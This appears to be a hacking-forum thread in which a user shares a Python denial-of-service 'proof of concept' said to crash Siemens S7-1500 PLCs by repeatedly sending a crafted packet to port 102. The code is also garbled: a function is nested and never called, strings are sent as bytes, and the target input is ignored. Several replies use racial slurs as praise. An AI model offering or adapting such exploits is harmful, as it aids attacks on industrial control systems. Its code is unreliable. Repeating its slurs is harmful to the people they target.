[303]

Hello Everyone! today i want share my proof of concept of siemens s7-1500 DoS vulnerability.
I hope you like it!

## Title: Siemens s7-1500 poC
## This piece of code is a proof of concept for the Siemens s7-1500 PLC.
## It will crash the PLC and make it unresponsive.
## author: g0d

import socket
import sys

target = input("Enter the IP address of the PLC: ")
print("The PLC IP address is: ", target)
port = input("Enter the port number of the PLC: ")
print("The PLC port number is: ", port)



## crafted payload we will use
payload = "\x03\x00\x00\x16\x11\xe0\x00\x00\x00\x00\x00\x01\x00\xc1\x02\x01\x00\xc2\x02\x01\x02"


## Now we connect to the plc in order to send the payload
## we will use port 102 for this
def connection(payload):
    connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connection.connect((sys.argv[1], 102))
    connection.send(payload)
    connection.close()

## this function perfoms a DoS attack on the PLC using the crafted payload
    def dos(payload, target, port):
        while True:
            connection(payload)
            print("Sending payload to the PLC: ", target, "on port: ", port)
## crafted payload we will use
            dos = "\x03\x00\x00\x16\x11\xe0\x00\x00\x00\x00\x00\x01\x00\xc1\x02\x01\x00\xc2\x02\x01\x02"
            connection(dos)
            print("Sending payload to the PLC: ", target, "on port: ", port)
            print('Exploit completed! ( :')

[IntelBroker]

+rep vouch + nigger + cyber nigger + yes + W

[lostinthisworld]

Amazing, thanks for sharing this amazing vulnerability sir

[303]

+rep vouch + nigger + cyber nigger + yes + W

thanks nigger

[10aguero]

It is rare to see an PoC for PLC, thanks for the share!